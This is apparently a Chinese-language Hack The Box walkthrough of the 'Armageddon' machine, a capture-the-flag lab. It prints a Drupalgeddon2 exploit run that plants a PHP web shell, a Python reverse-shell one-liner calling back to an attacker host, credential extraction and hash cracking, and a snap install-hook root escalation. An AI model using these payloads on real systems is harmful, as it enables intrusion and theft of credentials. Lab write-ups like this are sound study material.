免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责
服务探测
┌──(root💀kali)-[~/htb/Armageddon]
└─# nmap -p- 10.10.10.233 --open -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-25 02:37 EST
Nmap scan report for 10.10.10.233
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 78.51 seconds
┌──(root💀kali)-[~/htb/Armageddon]
└─# nmap -sV -Pn 10.10.10.233 -p 22,80
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-25 02:39 EST
Nmap scan report for 10.10.10.233
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.83 seconds
web
只开放了两个端口，先查看http服务有什么文件信息
┌──(root💀kali)-[~]
└─# python3 /root/dirsearch/dirsearch.py -e* -u 10.10.10.233 -t 100
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100
Wordlist size: 15492
Output File: /root/dirsearch/reports/10.10.10.233_22-01-25_02-40-43.txt
Error Log: /root/dirsearch/logs/errors-22-01-25_02-40-43.log
Target: http://10.10.10.233/
[02:40:43] Starting:
[02:40:50] 400 - 226B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[02:40:54] 200 - 317B - /.editorconfig
[02:40:56] 200 - 174B - /.gitignore
[02:41:03] 200 - 1KB - /COPYRIGHT.txt
[02:41:04] 200 - 109KB - /CHANGELOG.txt
[02:41:04] 200 - 2KB - /INSTALL.pgsql.txt
[02:41:04] 200 - 2KB - /INSTALL.mysql.txt
[02:41:04] 200 - 9KB - /MAINTAINERS.txt
[02:41:04] 200 - 18KB - /INSTALL.txt
[02:41:04] 200 - 18KB - /LICENSE.txt
[02:41:05] 200 - 5KB - /README.txt
[02:41:06] 200 - 10KB - /UPGRADE.txt
[02:41:33] 403 - 3KB - /authorize.php
[02:41:37] 400 - 226B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[02:41:38] 403 - 210B - /cgi-bin/
[02:41:43] 403 - 7KB - /cron.php
[02:41:58] 200 - 10KB - /includes/
[02:41:58] 301 - 237B - /includes -> http://10.10.10.233/includes/
[02:41:58] 200 - 7KB - /index.php
[02:41:59] 200 - 3KB - /install.php
[02:42:04] 200 - 132KB - /includes/bootstrap.inc
[02:42:11] 301 - 233B - /misc -> http://10.10.10.233/misc/
[02:42:12] 200 - 9KB - /modules/
[02:42:13] 301 - 236B - /modules -> http://10.10.10.233/modules/
[02:42:25] 301 - 237B - /profiles -> http://10.10.10.233/profiles/
[02:42:25] 200 - 743B - /profiles/standard/standard.info
[02:42:25] 200 - 278B - /profiles/testing/testing.info
[02:42:25] 200 - 271B - /profiles/minimal/minimal.info
[02:42:27] 200 - 2KB - /robots.txt
[02:42:29] 200 - 3KB - /scripts/
[02:42:29] 301 - 236B - /scripts -> http://10.10.10.233/scripts/
[02:42:33] 301 - 234B - /sites -> http://10.10.10.233/sites/
[02:42:33] 200 - 151B - /sites/all/libraries/README.txt
[02:42:33] 200 - 0B - /sites/example.sites.php
[02:42:33] 200 - 1KB - /sites/all/modules/README.txt
[02:42:33] 200 - 904B - /sites/README.txt
[02:42:33] 200 - 1020B - /sites/all/themes/README.txt
[02:42:40] 200 - 2KB - /themes/
[02:42:41] 301 - 235B - /themes -> http://10.10.10.233/themes/
[02:42:43] 403 - 4KB - /update.php
[02:42:49] 200 - 2KB - /web.config
[02:42:51] 200 - 42B - /xmlrpc.php
在CHANGELOG.txt知道这个web app是DRUPAL，版本号是7.56
kali搜索漏洞信息
┌──(root💀kali)-[~/htb/Armageddon]
└─# searchsploit DRUPAL 7.56
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executi | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metas | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Ex | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
------------------------
存在很多个RCE，选择44449.rb，拿到foodhold
┌──(root💀kali)-[~/htb/Armageddon]
└─# ./44449.rb http://10.10.10.233/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.233/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo PROPZFZU
[+] Result : PROPZFZU
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.233/shell.php)
[!] Response: HTTP 200 // Size: 6. ***Something could already be there?***
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname'
armageddon.htb>> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
armageddon.htb>> whoami
apache
提权到user
exp的shell不是很好用，下面payload反弹一个完整shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
收到反弹shell
┌──(root💀kali)-[~/htb/Armageddon]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.233] 34420
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
传linpeas到靶机，枚举到数据库密码
╔══════════╣ Analyzing Drupal Files (limit 70)
-r--r--r--. 1 apache apache 26565 Dec 3 2020 /var/www/html/sites/default/settings.php
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
使用密码登陆数据库，查看用户信息
sh-4.2$ mysql -u drupaluser -p
mysql -u drupaluser -p
Enter password: CQHEy@9M*m23gBVj
use drupal;
select * from users;
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
把哈希复制到本地，使用john爆破
┌──(root💀kali)-[~/htb/Armageddon]
└─# john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:01 DONE (2022-01-25 05:21) 0.7142g/s 165.7p/s 165.7c/s 165.7C/s tiffany..harley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
得到用户凭据：brucetherealadmin:booboo
使用ssh登陆，成功拿到用户shell
┌──(root💀kali)-[~/htb/Armageddon]
└─# ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last failed login: Tue Jan 25 10:13:02 GMT 2022 from 10.10.14.3 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin
提权到root
查看sudo特权
[brucetherealadmin@armageddon tmp]$ sudo -l
匹配 %2$s 上 %1$s 的默认条目：
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
用户 brucetherealadmin 可以在 armageddon 上运行以下命令：
(root) NOPASSWD: /usr/bin/snap install *
可以使用snap命令
根据gtfobins的指示，我们先安装fpm
┌──(root💀kali)-[~/htb/Armageddon]
└─# gem install fpm 1 ⨯
Fetching fpm-1.14.1.gem
Fetching clamp-1.0.1.gem
Fetching git-1.10.2.gem
Successfully installed clamp-1.0.1
Successfully installed git-1.10.2
Successfully installed fpm-1.14.1
Parsing documentation for clamp-1.0.1
Installing ri documentation for clamp-1.0.1
Parsing documentation for git-1.10.2
Installing ri documentation for git-1.10.2
Parsing documentation for fpm-1.14.1
Installing ri documentation for fpm-1.14.1
Done installing documentation for clamp, git, fpm after 1 seconds
3 gems installed
依次执行命令
┌──(root💀kali)-[~/htb/Armageddon]
└─# COMMAND=id
┌──(root💀kali)-[~/htb/Armageddon]
└─# cd $(mktemp -d)
┌──(root💀kali)-[/tmp/tmp.DmOZ5ETwqV]
└─# mkdir -p meta/hooks
┌──(root💀kali)-[/tmp/tmp.DmOZ5ETwqV]
└─# printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
┌──(root💀kali)-[/tmp/tmp.DmOZ5ETwqV]
└─# chmod +x meta/hooks/install
┌──(root💀kali)-[/tmp/tmp.DmOZ5ETwqV]
└─# fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}
传到靶机以后，看到成功打印出了id命令，也就是上面指定的:COMMAND=id
[brucetherealadmin@armageddon tmp.nSgQp1eSXc]$ sudo /usr/bin/snap install xxxx_1.0_all.snap --dangerous --devmode
Run install hook of "xxxx" snap if present |
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)
我们把命令改为读取root.txt,再次编译
┌──(root💀kali)-[/tmp]
└─# COMMAND="cat /root/root.txt"
┌──(root💀kali)-[/tmp]
└─# cd $(mktemp -d)
┌──(root💀kali)-[/tmp/tmp.jfed6EbSgj]
└─# mkdir -p meta/hooks
┌──(root💀kali)-[/tmp/tmp.jfed6EbSgj]
└─# printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
┌──(root💀kali)-[/tmp/tmp.jfed6EbSgj]
└─# chmod +x meta/hooks/install
┌──(root💀kali)-[/tmp/tmp.jfed6EbSgj]
└─# fpm -n xxxx -s dir -t snap -a all meta
Created package {:path=>"xxxx_1.0_all.snap"}
传到靶机以后成功读取到root.txt
[brucetherealadmin@armageddon tmp]$ curl http://10.10.14.3/xxxx_1.0_all.snap -O /tmp/xxxx_1.0_all.snap
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4096 100 4096 0 0 7499 0 --:--:-- --:--:-- --:--:-- 7501
curl: (3) <url> malformed
[brucetherealadmin@armageddon tmp]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": a7d88c233a477....)
网友评论